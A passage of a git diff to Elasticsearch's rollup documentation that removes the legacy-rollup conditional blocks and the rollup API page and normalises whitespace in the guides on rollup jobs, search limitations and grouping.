{rollup-jobs} API -++++ -Get legacy job -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Gets the configuration, stats, and status of legacy {rollup-jobs}. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-get-job]] @@ -27,8 +10,6 @@ Retrieves the configuration, stats, and status of {rollup-jobs}. experimental[] -endif::[] - [[rollup-get-job-request]] ==== {api-request-title} @@ -94,7 +75,7 @@ rollup documents. When in this state, any subsequent cron interval triggers will be ignored because the job is already active with the prior trigger. - `abort` is a transient state, which is usually not witnessed by the user. It is used if the task needs to be shut down for some reason (job has been deleted, -an unrecoverable error has been encountered, etc). Shortly after the `abort` +an unrecoverable error has been encountered, etc). Shortly after the `abort` state is set, the job will remove itself from the cluster. ==== diff --git a/docs/reference/rollup/apis/put-job.asciidoc b/docs/reference/rollup/apis/put-job.asciidoc index 577e1379adf9e..07a0f0d0addd4 100644 --- a/docs/reference/rollup/apis/put-job.asciidoc +++ b/docs/reference/rollup/apis/put-job.asciidoc @@ -1,25 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-put-job]] -=== Create legacy {rollup-jobs} API -[subs="attributes"] -++++ -Create legacy {rollup-jobs} -++++ - -// tag::legacy-rollup-admon[] -WARNING: This documentation is about legacy rollups. Legacy rollups are -deprecated and will be replaced by <> -introduced in {es} 7.x. -// end::legacy-rollup-admon[] - -Creates a legacy {rollup-job}. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-put-job]] @@ -33,8 +11,6 @@ Creates a {rollup-job}. experimental[] -endif::[] - [[rollup-put-job-api-request]] ==== {api-request-title} diff --git a/docs/reference/rollup/apis/rollup-api.asciidoc b/docs/reference/rollup/apis/rollup-api.asciidoc deleted file mode 100644 index c16584d86ba7d..0000000000000 --- a/docs/reference/rollup/apis/rollup-api.asciidoc +++ /dev/null @@ -1,209 +0,0 @@ -[role="xpack"] -[testenv="basic"] -[[rollup-api]] -=== Rollup API -++++ -Rollup -++++ - -Aggregates an index's time series data and stores the results in a new read-only -index. For example, you can roll up hourly data into daily or weekly summaries. - -[source,console] ----- -POST /my-index-000001/_rollup/rollup-my-index-000001 -{ - "groups": { - "date_histogram": { - "field": "@timestamp", - "calendar_interval": "1d" - }, - "terms": { - "fields": [ - "my-keyword-field", - "my-other-keyword-field" - ] - } - }, - "metrics": [ - { - "field": "my-numeric-field", - "metrics": [ - "min", - "max", - "avg" - ] - } - ] -} ----- -// TEST[setup:my_index] -// TEST[s/my-keyword-field/http.request.method/] -// TEST[s/my-other-keyword-field/user.id/] -// TEST[s/my-numeric-field/http.response.bytes/] - - -[[rollup-api-request]] -==== {api-request-title} - -`PUT //_rollup/` - -[[rollup-api-prereqs]] -==== {api-prereq-title} - -* You can only roll up an index that contains: - -** A <> or <> timestamp field -** One or more <> fields - -* If the {es} {security-features} are enabled, you must have the `manage` -<> for the index you roll up. - -[[rollup-api-path-params]] -==== {api-path-parms-title} - -``:: -(Required, string) -Index to roll up. Cannot be a <> or -<>. Does not support <> or wildcards (`*`). - -``:: -(Required, string) -New index that stores the rollup results. Cannot be an existing index, -a <>, or an <>. -+ -The request creates this index with -<> set to `true`. If the source -`` is a backing index for a data stream, this index is a backing index -for the same stream. - -[role="child_attributes"] -[[rollup-api-request-body]] -==== {api-request-body-title} - -// tag::rollup-config[] -`groups`:: -(Required, object) -Aggregates and stores fields in the rollup. -+ -.Properties of `groups` -[%collapsible%open] -===== -`date_histogram`:: -(Required, -<> object) -Groups documents based on a provided time interval. -+ -.Properties of `date_histogram` -[%collapsible%open] -====== -`field`:: -(Required, string) -<> or <> field containing a timestamp. If -you're rolling up a backing index or using the {ecs-ref}[Elastic Common Schema -(ECS)], we recommend using `@timestamp`. - -`calendar_interval` or `fixed_interval`:: -(Required, <>) -Time interval used to group documents. For differences between -`calendar_interval` and `fixed_interval`, see <>. -+ -TIP: Choose this value carefully. You won't be able to use a smaller interval -later. For example, you can't aggregate daily rollups into hourly -summaries. However, smaller time intervals can greatly increase the size of the -resulting rollup index. - -`time_zone`:: -(Optional, string) -Time zone for the `field`. Valid values are ISO 8601 UTC offsets, such as -`+01:00` or `-08:00`, and IANA time zone IDs, such as `America/Los_Angeles`. -Defaults to `+00:00` (UTC). -====== - -`histogram`:: -(Optional, <> object) -Groups and stores <> field values based on a provided interval. -+ -.Properties of `histogram` -[%collapsible%open] -====== -`fields`:: -(Required*, string or array of strings) -<> fields to group. If you specify a `histogram` object, this -property is required. -+ -WARNING: Do not use the same fields in `histogram` and `metrics`. If you specify -the same field in both `histogram` and `metrics`, the rollup attempt will fail. - -`interval`:: -(Required*, integer) -Numeric interval used to group the `fields`. If you specify a `histogram` -object, this property is required. -====== - -`terms`:: -(Optional, <> object) -Stores values for <> and <> fields. -+ -.Properties of `terms` -[%collapsible%open] -====== -`fields`:: -(Required*, string or array of strings) -<> and <> fields to store. If you -specify a `terms` object, this property is required. -+ -TIP: Avoid storing high-cardinality fields. High-cardinality fields can greatly -increase the size of the resulting rollup index. -====== -===== - -`metrics`:: -(Required, object or array of objects) -Collects and stores metrics for <> fields. You must specify at -least one `metrics` object. -+ -.Properties of `metrics` objects -[%collapsible%open] -===== -`field`:: -(Required, string) -<> field to collect metrics for. -+ -WARNING: Do not use the same fields in `histogram` and `metrics`. If you specify -the same field in both `histogram` and `metrics`, the rollup attempt will fail. - -`metrics`:: -(Required, string or array of strings) -Metrics to collect. Each value corresponds to a -<>. Valid values are -<>, -<>, -<>, -<>, and -<>. You must -specify at least one value. -+ -NOTE: The rollup index stores these metrics in an -<> field. The `avg` metric -stores both the `sum` and `value_count` values. This lets you accurately average -rollups over larger time intervals. For example, you can accurately roll up -hourly averages into daily averages. -===== -// end::rollup-config[] - -`page_size`:: -(Optional, integer) -Maximum number of rollup results to process at once. Defaults to `1000`. Larger -values run faster but require more memory. -+ -NOTE: This argument only affects the speed and memory usage of the rollup -operation. It does not affect the rollup results. - -`timeout`:: -(Optional, <>) -Time to wait for the request to complete. Defaults to `20s` (20 seconds). diff --git a/docs/reference/rollup/apis/rollup-caps.asciidoc b/docs/reference/rollup/apis/rollup-caps.asciidoc index e4b5d2b60229b..740b0a1d84bbf 100644 --- a/docs/reference/rollup/apis/rollup-caps.asciidoc +++ b/docs/reference/rollup/apis/rollup-caps.asciidoc @@ -1,20 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-get-rollup-caps]] -=== Get legacy {rollup-job} capabilities API -++++ -Get legacy rollup caps -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Returns the capabilities of legacy {rollup-jobs} for an index pattern. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-get-rollup-caps]] @@ -28,8 +11,6 @@ specific index or index pattern. experimental[] -endif::[] - [[rollup-get-rollup-caps-request]] ==== {api-request-title} @@ -67,8 +48,8 @@ can be performed, and where does the data live? [[rollup-get-rollup-example]] ==== {api-examples-title} -Imagine we have an index named `sensor-1` full of raw data. We know that the -data will grow over time, so there will be a `sensor-2`, `sensor-3`, etc. Let's +Imagine we have an index named `sensor-1` full of raw data. We know that the +data will grow over time, so there will be a `sensor-2`, `sensor-3`, etc. Let's create a {rollup-job} that targets the index pattern `sensor-*` to accommodate this future scaling: @@ -162,7 +143,7 @@ Which will yield the following response: ---- The response that is returned contains information that is similar to the -original rollup configuration, but formatted differently. First, there are some +original rollup configuration, but formatted differently. First, there are some house-keeping details: the {rollup-job} ID, the index that holds the rolled data, and the index pattern that the job was targeting. @@ -202,7 +183,7 @@ GET _rollup/data/sensor-1 ---- Why is this? The original {rollup-job} was configured against a specific index -pattern (`sensor-*`) not a concrete index (`sensor-1`). So while the index +pattern (`sensor-*`) not a concrete index (`sensor-1`). So while the index belongs to the pattern, the {rollup-job} is only valid across the entirety of the pattern not just one of it's containing indices. So for that reason, the get rollup capabilities API only returns information based on the originally diff --git a/docs/reference/rollup/apis/rollup-index-caps.asciidoc b/docs/reference/rollup/apis/rollup-index-caps.asciidoc index c8a93a3e0bec4..2027c971928d6 100644 --- a/docs/reference/rollup/apis/rollup-index-caps.asciidoc +++ b/docs/reference/rollup/apis/rollup-index-caps.asciidoc @@ -1,20 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-get-rollup-index-caps]] -=== Get legacy rollup index capabilities API -++++ -Get legacy rollup index caps -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Returns the capabilities of rollup jobs for a legacy rollup index. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-get-rollup-index-caps]] @@ -28,8 +11,6 @@ index where rollup data is stored). experimental[] -endif::[] - [[rollup-get-rollup-index-caps-request]] ==== {api-request-title} @@ -64,7 +45,7 @@ Wildcard (`*`) expressions are supported. [[rollup-get-rollup-index-caps-example]] ==== {api-examples-title} -Imagine we have an index named `sensor-1` full of raw data. We know that the +Imagine we have an index named `sensor-1` full of raw data. We know that the data will grow over time, so there will be a `sensor-2`, `sensor-3`, etc. Let's create a {rollup-job} that stores its data in `sensor_rollup`: @@ -110,7 +91,7 @@ GET /sensor_rollup/_rollup/data // TEST[continued] Note how we are requesting the concrete rollup index name (`sensor_rollup`) as -the first part of the URL. This will yield the following response: +the first part of the URL. This will yield the following response: [source,console-result] ---- diff --git a/docs/reference/rollup/apis/rollup-search.asciidoc b/docs/reference/rollup/apis/rollup-search.asciidoc index 80a1e1c9d731c..7b28984bfacca 100644 --- a/docs/reference/rollup/apis/rollup-search.asciidoc +++ b/docs/reference/rollup/apis/rollup-search.asciidoc @@ -1,20 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-search]] -=== Legacy rollup search -++++ -Legacy rollup search -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Searches legacy rollup data using <>. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-search]] @@ -27,8 +10,6 @@ Enables searching rolled-up data using the standard Query DSL. experimental[] -endif::[] - [[rollup-search-request]] ==== {api-request-title} diff --git a/docs/reference/rollup/apis/start-job.asciidoc b/docs/reference/rollup/apis/start-job.asciidoc index e12ea8d998b44..28b09375dab85 100644 --- a/docs/reference/rollup/apis/start-job.asciidoc +++ b/docs/reference/rollup/apis/start-job.asciidoc @@ -1,21 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-start-job]] -=== Start legacy {rollup-jobs} API -[subs="attributes"] -++++ -Start legacy {rollup-jobs} -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Starts a stopped legacy {rollup-job}. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-start-job]] @@ -29,8 +11,6 @@ Starts an existing, stopped {rollup-job}. experimental[] -endif::[] - [[rollup-start-job-request]] ==== {api-request-title} diff --git a/docs/reference/rollup/apis/stop-job.asciidoc b/docs/reference/rollup/apis/stop-job.asciidoc index 4f5b07d2ad307..727981265cb10 100644 --- a/docs/reference/rollup/apis/stop-job.asciidoc +++ b/docs/reference/rollup/apis/stop-job.asciidoc @@ -1,21 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-stop-job]] -=== Stop legacy {rollup-jobs} API -[subs="attributes"] -++++ -Stop legacy {rollup-jobs} -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Stops an ongoing legacy {rollup-job}. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-stop-job]] @@ -29,8 +11,6 @@ Stops an existing, started {rollup-job}. experimental[] -endif::[] - [[rollup-stop-job-request]] ==== {api-request-title} diff --git a/docs/reference/rollup/index.asciidoc b/docs/reference/rollup/index.asciidoc index 99180e2f32d45..a9e6735309abd 100644 --- a/docs/reference/rollup/index.asciidoc +++ b/docs/reference/rollup/index.asciidoc @@ -6,7 +6,7 @@ experimental[] Keeping historical data around for analysis is extremely useful but often avoided due to the financial cost of -archiving massive amounts of data. Retention periods are thus driven by financial realities rather than by the +archiving massive amounts of data. Retention periods are thus driven by financial realities rather than by the usefulness of extensive historical data. // tag::rollup-intro[] @@ -28,4 +28,4 @@ include::api-quickref.asciidoc[] include::rollup-getting-started.asciidoc[] include::understanding-groups.asciidoc[] include::rollup-agg-limitations.asciidoc[] -include::rollup-search-limitations.asciidoc[] \ No newline at end of file +include::rollup-search-limitations.asciidoc[] diff --git a/docs/reference/rollup/overview.asciidoc b/docs/reference/rollup/overview.asciidoc index 20fe0fd59f5bf..35db3cd372bf4 100644 --- a/docs/reference/rollup/overview.asciidoc +++ b/docs/reference/rollup/overview.asciidoc @@ -9,34 +9,34 @@ experimental[] Time-based data (documents that are predominantly identified by their timestamp) often have associated retention policies -to manage data growth. For example, your system may be generating 500 documents every second. That will generate +to manage data growth. For example, your system may be generating 500 documents every second. That will generate 43 million documents per day, and nearly 16 billion documents a year. While your analysts and data scientists may wish you stored that data indefinitely for analysis, time is never-ending and -so your storage requirements will continue to grow without bound. Retention policies are therefore often dictated +so your storage requirements will continue to grow without bound. Retention policies are therefore often dictated by the simple calculation of storage costs over time, and what the organization is willing to pay to retain historical data. Often these policies start deleting data after a few months or years. -Storage cost is a fixed quantity. It takes X money to store Y data. But the utility of a piece of data often changes -with time. Sensor data gathered at millisecond granularity is extremely useful right now, reasonably useful if from a +Storage cost is a fixed quantity. It takes X money to store Y data. But the utility of a piece of data often changes +with time. Sensor data gathered at millisecond granularity is extremely useful right now, reasonably useful if from a few weeks ago, and only marginally useful if older than a few months. So while the cost of storing a millisecond of sensor data from ten years ago is fixed, the value of that individual sensor -reading often diminishes with time. It's not useless -- it could easily contribute to a useful analysis -- but it's reduced +reading often diminishes with time. It's not useless -- it could easily contribute to a useful analysis -- but it's reduced value often leads to deletion rather than paying the fixed storage cost. [discrete] ==== Rollup stores historical data at reduced granularity -That's where Rollup comes into play. The Rollup functionality summarizes old, high-granularity data into a reduced -granularity format for long-term storage. By "rolling" the data up into a single summary document, historical data +That's where Rollup comes into play. The Rollup functionality summarizes old, high-granularity data into a reduced +granularity format for long-term storage. By "rolling" the data up into a single summary document, historical data can be compressed greatly compared to the raw data. -For example, consider the system that's generating 43 million documents every day. The second-by-second data is useful +For example, consider the system that's generating 43 million documents every day. The second-by-second data is useful for real-time analysis, but historical analysis looking over ten years of data are likely to be working at a larger interval such as hourly or daily trends. -If we compress the 43 million documents into hourly summaries, we can save vast amounts of space. The Rollup feature +If we compress the 43 million documents into hourly summaries, we can save vast amounts of space. The Rollup feature automates this process of summarizing historical data. Details about setting up and configuring Rollup are covered in <>. @@ -45,11 +45,11 @@ Details about setting up and configuring Rollup are covered in <>. But if your queries, aggregations and dashboards only use the available functionality, redirecting them to historical @@ -61,24 +61,24 @@ data is trivial. A useful feature of Rollup is the ability to query both "live", realtime data in addition to historical "rolled" data in a single query. -For example, your system may keep a month of raw data. After a month, it is rolled up into historical summaries using +For example, your system may keep a month of raw data. After a month, it is rolled up into historical summaries using Rollup and the raw data is deleted. -If you were to query the raw data, you'd only see the most recent month. And if you were to query the rolled up data, you -would only see data older than a month. The RollupSearch endpoint, however, supports querying both at the same time. -It will take the results from both data sources and merge them together. If there is overlap between the "live" and +If you were to query the raw data, you'd only see the most recent month. And if you were to query the rolled up data, you +would only see data older than a month. The RollupSearch endpoint, however, supports querying both at the same time. +It will take the results from both data sources and merge them together. If there is overlap between the "live" and "rolled" data, live data is preferred to increase accuracy. [discrete] ==== Rollup is multi-interval aware -Finally, Rollup is capable of intelligently utilizing the best interval available. If you've worked with summarizing -features of other products, you'll find that they can be limiting. If you configure rollups at daily intervals... your -queries and charts can only work with daily intervals. If you need a monthly interval, you have to create another rollup +Finally, Rollup is capable of intelligently utilizing the best interval available. If you've worked with summarizing +features of other products, you'll find that they can be limiting. If you configure rollups at daily intervals... your +queries and charts can only work with daily intervals. If you need a monthly interval, you have to create another rollup that explicitly stores monthly averages, etc. The Rollup feature stores data in such a way that queries can identify the smallest available interval and use that -for their processing. If you store rollups at a daily interval, queries can be executed on daily or longer intervals -(weekly, monthly, etc) without the need to explicitly configure a new rollup job. This helps alleviate one of the major +for their processing. If you store rollups at a daily interval, queries can be executed on daily or longer intervals +(weekly, monthly, etc) without the need to explicitly configure a new rollup job. This helps alleviate one of the major disadvantages of a rollup system; reduced flexibility relative to raw data. diff --git a/docs/reference/rollup/rollup-agg-limitations.asciidoc b/docs/reference/rollup/rollup-agg-limitations.asciidoc index 8390c5b80a5a1..169fb8a7f0d9a 100644 --- a/docs/reference/rollup/rollup-agg-limitations.asciidoc +++ b/docs/reference/rollup/rollup-agg-limitations.asciidoc @@ -5,7 +5,7 @@ experimental[] -There are some limitations to how fields can be rolled up / aggregated. This page highlights the major limitations so that +There are some limitations to how fields can be rolled up / aggregated. This page highlights the major limitations so that you are aware of them. [discrete] diff --git a/docs/reference/rollup/rollup-apis.asciidoc b/docs/reference/rollup/rollup-apis.asciidoc index 3765fe6007e16..fc244510787d4 100644 --- a/docs/reference/rollup/rollup-apis.asciidoc +++ b/docs/reference/rollup/rollup-apis.asciidoc @@ -3,56 +3,6 @@ [[rollup-apis]] == Rollup APIs -ifdef::permanently-unreleased-branch[] - -A rollup aggregates an index's time series data and stores the results in -a new index. For example, you can roll up hourly data into daily or weekly -summaries. - -* <> - -[discrete] -[[legacy-rollup-apis]] -=== Legacy rollup APIs - -Before {es} 7.x, you could only create rollups using periodic cron jobs. Special -APIs were required to manage these jobs and search the resulting rollup indices. -These rollup APIs are now deprecated and will be removed in a future release. - -[discrete] -[[rollup-jobs-endpoint]] -==== Jobs - -* <> or <> -* <> or <> -* <> - -[discrete] -[[rollup-data-endpoint]] -==== Data - -* <> -* <> - -[discrete] -[[rollup-search-endpoint]] -==== Search - -* <> - -include::apis/rollup-api.asciidoc[] -include::apis/put-job.asciidoc[] -include::apis/delete-job.asciidoc[] -include::apis/get-job.asciidoc[] -include::apis/rollup-caps.asciidoc[] -include::apis/rollup-index-caps.asciidoc[] -include::apis/rollup-search.asciidoc[] -include::apis/start-job.asciidoc[] -include::apis/stop-job.asciidoc[] - -endif::[] -ifndef::permanently-unreleased-branch[] - [discrete] [[rollup-jobs-endpoint]] === Jobs @@ -83,5 +33,3 @@ include::apis/rollup-index-caps.asciidoc[] include::apis/rollup-search.asciidoc[] include::apis/start-job.asciidoc[] include::apis/stop-job.asciidoc[] - -endif::[] diff --git a/docs/reference/rollup/rollup-getting-started.asciidoc b/docs/reference/rollup/rollup-getting-started.asciidoc index c52ee5c55e1a0..f67b70101c366 100644 --- a/docs/reference/rollup/rollup-getting-started.asciidoc +++ b/docs/reference/rollup/rollup-getting-started.asciidoc @@ -8,10 +8,10 @@ experimental[] -To use the Rollup feature, you need to create one or more "Rollup Jobs". These jobs run continuously in the background +To use the Rollup feature, you need to create one or more "Rollup Jobs". These jobs run continuously in the background and rollup the index or indices that you specify, placing the rolled documents in a secondary index (also of your choosing). -Imagine you have a series of daily indices that hold sensor data (`sensor-2017-01-01`, `sensor-2017-01-02`, etc). A sample document might +Imagine you have a series of daily indices that hold sensor data (`sensor-2017-01-01`, `sensor-2017-01-02`, etc). A sample document might look like this: [source,js] @@ -29,7 +29,7 @@ look like this: ==== Creating a rollup job We'd like to rollup these documents into hourly summaries, which will allow us to generate reports and dashboards with any time interval -one hour or greater. A rollup job might look like this: +one hour or greater. A rollup job might look like this: [source,console] -------------------------------------------------- @@ -65,11 +65,11 @@ PUT _rollup/job/sensor We give the job the ID of "sensor" (in the url: `PUT _rollup/job/sensor`), and tell it to rollup the index pattern `"sensor-*"`. This job will find and rollup any index that matches that pattern. Rollup summaries are then stored in the `"sensor_rollup"` index. -The `cron` parameter controls when and how often the job activates. When a rollup job's cron schedule triggers, it will begin rolling up -from where it left off after the last activation. So if you configure the cron to run every 30 seconds, the job will process the last 30 +The `cron` parameter controls when and how often the job activates. When a rollup job's cron schedule triggers, it will begin rolling up +from where it left off after the last activation. So if you configure the cron to run every 30 seconds, the job will process the last 30 seconds worth of data that was indexed into the `sensor-*` indices. -If instead the cron was configured to run once a day at midnight, the job would process the last 24 hours worth of data. The choice is largely +If instead the cron was configured to run once a day at midnight, the job would process the last 24 hours worth of data. The choice is largely preference, based on how "realtime" you want the rollups, and if you wish to process continuously or move it to off-peak hours. Next, we define a set of `groups`. Essentially, we are defining the dimensions @@ -81,14 +81,14 @@ the `node` field. .Date histogram interval vs cron schedule ********************************** You'll note that the job's cron is configured to run every 30 seconds, but the date_histogram is configured to -rollup at 60 minute intervals. How do these relate? +rollup at 60 minute intervals. How do these relate? -The date_histogram controls the granularity of the saved data. Data will be rolled up into hourly intervals, and you will be unable -to query with finer granularity. The cron simply controls when the process looks for new data to rollup. Every 30 seconds it will see -if there is a new hour's worth of data and roll it up. If not, the job goes back to sleep. +The date_histogram controls the granularity of the saved data. Data will be rolled up into hourly intervals, and you will be unable +to query with finer granularity. The cron simply controls when the process looks for new data to rollup. Every 30 seconds it will see +if there is a new hour's worth of data and roll it up. If not, the job goes back to sleep. Often, it doesn't make sense to define such a small cron (30s) on a large interval (1h), because the majority of the activations will -simply go back to sleep. But there's nothing wrong with it either, the job will do the right thing. +simply go back to sleep. But there's nothing wrong with it either, the job will do the right thing. ********************************** @@ -130,7 +130,7 @@ After you execute the above command and create the job, you'll receive the follo [discrete] ==== Starting the job -After the job is created, it will be sitting in an inactive state. Jobs need to be started before they begin processing data (this allows +After the job is created, it will be sitting in an inactive state. Jobs need to be started before they begin processing data (this allows you to stop them later as a way to temporarily pause, without deleting the configuration). To start the job, execute this command: @@ -144,7 +144,7 @@ POST _rollup/job/sensor/_start [discrete] ==== Searching the rolled results -After the job has run and processed some data, we can use the <> endpoint to do some searching. The Rollup feature is designed +After the job has run and processed some data, we can use the <> endpoint to do some searching. The Rollup feature is designed so that you can use the same Query DSL syntax that you are accustomed to... it just happens to run on the rolled up data instead. For example, take this query: @@ -165,8 +165,8 @@ GET /sensor_rollup/_rollup_search -------------------------------------------------- // TEST[setup:sensor_prefab_data] -It's a simple aggregation that calculates the maximum of the `temperature` field. But you'll notice that it is being sent to the `sensor_rollup` -index instead of the raw `sensor-*` indices. And you'll also notice that it is using the `_rollup_search` endpoint. Otherwise the syntax +It's a simple aggregation that calculates the maximum of the `temperature` field. But you'll notice that it is being sent to the `sensor_rollup` +index instead of the raw `sensor-*` indices. And you'll also notice that it is using the `_rollup_search` endpoint. Otherwise the syntax is exactly as you'd expect. If you were to execute that query, you'd receive a result that looks like a normal aggregation response: @@ -197,11 +197,11 @@ If you were to execute that query, you'd receive a result that looks like a norm // TESTRESPONSE[s/"_shards" : \.\.\. /"_shards" : $body.$_path/] The only notable difference is that Rollup search results have zero `hits`, because we aren't really searching the original, live data any -more. Otherwise it's identical syntax. +more. Otherwise it's identical syntax. -There are a few interesting takeaways here. Firstly, even though the data was rolled up with hourly intervals and partitioned by -node name, the query we ran is just calculating the max temperature across all documents. The `groups` that were configured in the job -are not mandatory elements of a query, they are just extra dimensions you can partition on. Second, the request and response syntax +There are a few interesting takeaways here. Firstly, even though the data was rolled up with hourly intervals and partitioned by +node name, the query we ran is just calculating the max temperature across all documents. The `groups` that were configured in the job +are not mandatory elements of a query, they are just extra dimensions you can partition on. Second, the request and response syntax is nearly identical to normal DSL, making it easy to integrate into dashboards and applications. Finally, we can use those grouping fields we defined to construct a more complicated query: @@ -319,6 +319,6 @@ the date_histogram uses a `7d` interval instead of `60m`. [discrete] ==== Conclusion -This quickstart should have provided a concise overview of the core functionality that Rollup exposes. There are more tips and things -to consider when setting up Rollups, which you can find throughout the rest of this section. You may also explore the <> +This quickstart should have provided a concise overview of the core functionality that Rollup exposes. There are more tips and things +to consider when setting up Rollups, which you can find throughout the rest of this section. You may also explore the <> for an overview of what is available. diff --git a/docs/reference/rollup/rollup-search-limitations.asciidoc b/docs/reference/rollup/rollup-search-limitations.asciidoc index adc597d02e9c9..5e03942c22b98 100644 --- a/docs/reference/rollup/rollup-search-limitations.asciidoc +++ b/docs/reference/rollup/rollup-search-limitations.asciidoc @@ -5,7 +5,7 @@ experimental[] -While we feel the Rollup function is extremely flexible, the nature of summarizing data means there will be some limitations. Once +While we feel the Rollup function is extremely flexible, the nature of summarizing data means there will be some limitations. Once live data is thrown away, you will always lose some flexibility. This page highlights the major limitations so that you are aware of them. @@ -13,32 +13,32 @@ This page highlights the major limitations so that you are aware of them. [discrete] ==== Only one {rollup} index per search -When using the <> endpoint, the `index` parameter accepts one or more indices. These can be a mix of regular, non-rollup -indices and rollup indices. However, only one rollup index can be specified. The exact list of rules for the `index` parameter are as +When using the <> endpoint, the `index` parameter accepts one or more indices. These can be a mix of regular, non-rollup +indices and rollup indices. However, only one rollup index can be specified. The exact list of rules for the `index` parameter are as follows: -- At least one index/index-pattern must be specified. This can be either a rollup or non-rollup index. Omitting the index parameter, +- At least one index/index-pattern must be specified. This can be either a rollup or non-rollup index. Omitting the index parameter, or using `_all`, is not permitted - Multiple non-rollup indices may be specified -- Only one rollup index may be specified. If more than one are supplied an exception will be thrown +- Only one rollup index may be specified. If more than one are supplied an exception will be thrown - Index patterns may be used, but if they match more than one rollup index an exception will be thrown. -This limitation is driven by the logic that decides which jobs are the "best" for any given query. If you have ten jobs stored in a single +This limitation is driven by the logic that decides which jobs are the "best" for any given query. If you have ten jobs stored in a single index, which cover the source data with varying degrees of completeness and different intervals, the query needs to determine which set -of jobs to actually search. Incorrect decisions can lead to inaccurate aggregation results (e.g. over-counting doc counts, or bad metrics). +of jobs to actually search. Incorrect decisions can lead to inaccurate aggregation results (e.g. over-counting doc counts, or bad metrics). Needless to say, this is a technically challenging piece of code. -To help simplify the problem, we have limited search to just one rollup index at a time (which may contain multiple jobs). In the future we +To help simplify the problem, we have limited search to just one rollup index at a time (which may contain multiple jobs). In the future we may be able to open this up to multiple rollup jobs. [discrete] [[aggregate-stored-only]] ==== Can only aggregate what's been stored -A perhaps obvious limitation, but rollups can only aggregate on data that has been stored in the rollups. If you don't configure the +A perhaps obvious limitation, but rollups can only aggregate on data that has been stored in the rollups. If you don't configure the rollup job to store metrics about the `price` field, you won't be able to use the `price` field in any query or aggregation. -For example, the `temperature` field in the following query has been stored in a rollup job... but not with an `avg` metric. Which means +For example, the `temperature` field in the following query has been stored in a rollup job... but not with an `avg` metric. Which means the usage of `avg` here is not allowed: [source,console] @@ -83,18 +83,18 @@ The response will tell you that the field and aggregation were not possible, bec [discrete] ==== Interval granularity -Rollups are stored at a certain granularity, as defined by the `date_histogram` group in the configuration. This means you +Rollups are stored at a certain granularity, as defined by the `date_histogram` group in the configuration. This means you can only search/aggregate the rollup data with an interval that is greater-than or equal to the configured rollup interval. For example, if data is rolled up at hourly intervals, the <> API can aggregate on any time interval -hourly or greater. Intervals that are less than an hour will throw an exception, since the data simply doesn't +hourly or greater. Intervals that are less than an hour will throw an exception, since the data simply doesn't exist for finer granularities. [[rollup-search-limitations-intervals]] .Requests must be multiples of the config ********************************** Perhaps not immediately apparent, but the interval specified in an aggregation request must be a whole -multiple of the configured interval. If the job was configured to rollup on `3d` intervals, you can only +multiple of the configured interval. If the job was configured to rollup on `3d` intervals, you can only query and aggregate on multiples of three (`3d`, `6d`, `9d`, etc). A non-multiple wouldn't work, since the rolled up data wouldn't cleanly "overlap" with the buckets generated @@ -113,7 +113,7 @@ with the largest interval to satisfy the search request. [discrete] ==== Limited querying components -The Rollup functionality allows `query`'s in the search request, but with a limited subset of components. The queries currently allowed are: +The Rollup functionality allows `query`'s in the search request, but with a limited subset of components. The queries currently allowed are: - Term Query - Terms Query @@ -125,11 +125,11 @@ Furthermore, these queries can only use fields that were also saved in the rollu If you wish to filter on a keyword `hostname` field, that field must have been configured in the rollup job under a `terms` grouping. If you attempt to use an unsupported query, or the query references a field that wasn't configured in the rollup job, an exception will be -thrown. We expect the list of support queries to grow over time as more are implemented. +thrown. We expect the list of support queries to grow over time as more are implemented. [discrete] ==== Timezones -Rollup documents are stored in the timezone of the `date_histogram` group configuration in the job. If no timezone is specified, the default +Rollup documents are stored in the timezone of the `date_histogram` group configuration in the job. If no timezone is specified, the default is to rollup timestamps in `UTC`. diff --git a/docs/reference/rollup/understanding-groups.asciidoc b/docs/reference/rollup/understanding-groups.asciidoc index face43cf96673..d740d59ba064f 100644 --- a/docs/reference/rollup/understanding-groups.asciidoc +++ b/docs/reference/rollup/understanding-groups.asciidoc @@ -5,17 +5,17 @@ experimental[] -To preserve flexibility, Rollup Jobs are defined based on how future queries may need to use the data. Traditionally, systems force -the admin to make decisions about what metrics to rollup and on what interval. E.g. The average of `cpu_time` on an hourly basis. This +To preserve flexibility, Rollup Jobs are defined based on how future queries may need to use the data. Traditionally, systems force +the admin to make decisions about what metrics to rollup and on what interval. E.g. The average of `cpu_time` on an hourly basis. This is limiting; if, in the future, the admin wishes to see the average of `cpu_time` on an hourly basis _and_ partitioned by `host_name`, they are out of luck. Of course, the admin can decide to rollup the `[hour, host]` tuple on an hourly basis, but as the number of grouping keys grows, so do the -number of tuples the admin needs to configure. Furthermore, these `[hours, host]` tuples are only useful for hourly rollups... daily, weekly, +number of tuples the admin needs to configure. Furthermore, these `[hours, host]` tuples are only useful for hourly rollups... daily, weekly, or monthly rollups all require new configurations. Rather than force the admin to decide ahead of time which individual tuples should be rolled up, Elasticsearch's Rollup jobs are configured -based on which groups are potentially useful to future queries. For example, this configuration: +based on which groups are potentially useful to future queries. For example, this 